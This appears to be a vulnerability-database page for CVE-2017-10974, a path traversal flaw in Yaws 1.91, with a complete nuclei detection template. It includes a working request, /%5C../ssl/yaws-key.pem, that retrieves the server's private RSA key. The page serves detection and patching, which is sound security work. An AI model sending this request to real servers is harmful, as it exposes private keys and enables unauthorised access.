Browse / CVEs / CVE-2017-10974
CVE-2017-10974· yaws / yaws· CWE-22
Yaws 1.91 - Local File Inclusion
highseverity
7.5CVSS score
81%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Yaws 1.91 allows unauthenticated local file inclusion via /%5C../ submitted to port 8080.
Impact
The vulnerability allows an attacker to include local files on the server, potentially leading to unauthorized access or information disclosure.
Fix
Upgrade to a patched version of Yaws or apply the necessary security patches.
How to confirm it
Send: GET {{BaseURL}}/%5C../ssl/yaws-key.pem
Positive when: !contains(tolower(body), "<html") AND contains "BEGIN RSA PRIVATE KEY" AND status 200Run it with nuclei: nuclei -id CVE-2017-10974 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2017-10974
info:
name: Yaws 1.91 - Local File Inclusion
author: 0x_Akoko
severity: high
description: Yaws 1.91 allows unauthenticated local file inclusion via /%5C../ submitted to port 8080.
impact: |
The vulnerability allows an attacker to include local files on the server, potentially leading to unauthorized access or information disclosure.
remediation: |
Upgrade to a patched version of Yaws or apply the necessary security patches.
reference:
- https://www.exploit-db.com/exploits/42303
- https://nvd.nist.gov/vuln/detail/CVE-2017-10974
- http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt
- https://www.exploit-db.com/exploits/42303/
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2017-10974
cwe-id: CWE-22
epss-score: 0.81028
epss-percentile: 0.99636
cpe: cpe:2.3:a:yaws:yaws:1.91:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: yaws
product: yaws
tags: cve,cve2017,edb,yaws,lfi,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/%5C../ssl/yaws-key.pem"
matchers-condition: and
matchers:
- type: dsl
dsl:
- '!contains(tolower(body), "<html")'
- type: word
words:
- "BEGIN RSA PRIVATE KEY"
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/42303
- https://nvd.nist.gov/vuln/detail/CVE-2017-10974
- http://hyp3rlinx.altervista.org/advisories/YAWS-WEB-SERVER-v1.91-UNAUTHENTICATED-REMOTE-FILE-DISCLOSURE.txt
- https://www.exploit-db.com/exploits/42303/
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from